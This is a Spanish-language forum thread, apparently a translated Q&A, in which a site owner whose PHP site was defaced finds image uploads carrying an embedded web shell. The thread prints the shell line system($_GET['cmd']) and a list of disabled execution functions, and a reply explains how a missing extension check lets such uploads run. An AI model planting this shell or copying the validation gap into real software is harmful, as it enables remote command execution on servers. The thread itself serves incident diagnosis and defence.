Ayer mi sitio estaba incluido. El atacante cambia el archivo index.php por el suyo (con todos sus mensajes de gloria y saludo). He notificado esto a la empresa de alojamiento (estamos trabajando en un servidor dedicado), y por mi parte, estoy tratando de arreglar cualquier cosa que parezca ser la causa, porque aún no puedo señalar cómo exactamente nuestro el servidor fue atacado, pero creo que he encontrado ciertas lagunas basadas en scripts que posiblemente podrían ser las culpables.Mi sitio php fue pirateado por códigos cargados como imagen ...?
Nuestro sitio tiene un formulario de carga de imágenes, pero todas las imágenes cargadas se verifican si realmente son archivos de imágenes y no algunos códigos mediante el uso de la función php getimagesize. Solo si el tipo de imagen es IMAGETYPE_GIF o IMAGETYPE_JPEG o IMAGETYPE_PNG serán aceptados. De lo contrario, no podrán subir el archivo. Sin embargo, descubrí que un archivo de imagen cargado contiene un script php dentro de él. Puede descargar la imagen here. Es un archivo de imagen válido, pero trate de abrir la imagen con cualquier editor de texto y encontrará un código php en su interior:
<?php
echo "<pre>"; system($_GET['cmd']); echo "</pre>";
?>
Por ejemplo, la imagen se carga en esta ubicación (www.mysite.com/uploads /picodes.jpg). Tenga en cuenta que el permiso de carga de carpetas es 755. ¿Hay alguna forma en el mundo en que el atacante pueda ejecutar el sistema (o cualquier otro comando como passthru, ya que descubrimos que otra imagen tiene el mismo código oculto que antes, pero en vez , tiene el comando passthru), por ejemplo, escribiendo www.mysite.com/uploads/picodes.jpg?cmd=some command ?? Por lo que sé, no se puede hacer (realmente lo aprecio si alguien puede probar que estoy equivocado), a menos que el atacante pueda cambiar el nombre del archivo jpg a php, e incluso eso, estos códigos están ocultos en el interior de la imagen (vea la imagen en el interior) editor de texto para entender lo que estoy tratando de decir)
Para precauciones, desactivé estas funciones php (exec, passthru, proc_close, proc_get_status, proc_nice, proc_open, proc_terminate, shell_exec, system) agregándolas al disable_functions en php.ini.
De todos modos, sigo creyendo que el atacante obtiene acceso no a través de la web, sino a través del exploit del servidor, pero creo que mi empresa de hosting piensa lo contrario.
Dependiendo de la configuración de su servidor, si su verificador de imágenes no verifica nombres de archivo, podría ser posible explotarlo, por ejemplo, si el atacante carga el archivo con un nombre que tiene una extensión '.php'. Pero eso es realmente una pregunta para Server Fault. ¿Eso es lo que quería saber? –
Gracias por responder a David, pero como he mencionado anteriormente, todos los archivos cargados se verifican primero; solo si son archivos de imagen (gif, jpg o png) serán aceptados. De lo contrario, será descartado. Por lo tanto, cargar un archivo con la extensión .php o cualquier otro código sin formato con cualquier extensión seguramente fallará. – imin
Bueno, dijiste que usa 'getimagesize' para verificar que la imagen sea una imagen, pero esa función _no revisa la extensión del archivo_. Solo mira el contenido del archivo. (Pruébalo: renombra 'picodes.jpg' a' picodes.php' y mira qué 'getimagesize (" picodes.php ")' te da). Por lo tanto, también debes verificar explícitamente el nombre con el que se está cargando el archivo, y asegúrese de que coincida con el tipo de imagen devuelto por 'getimagesize'. –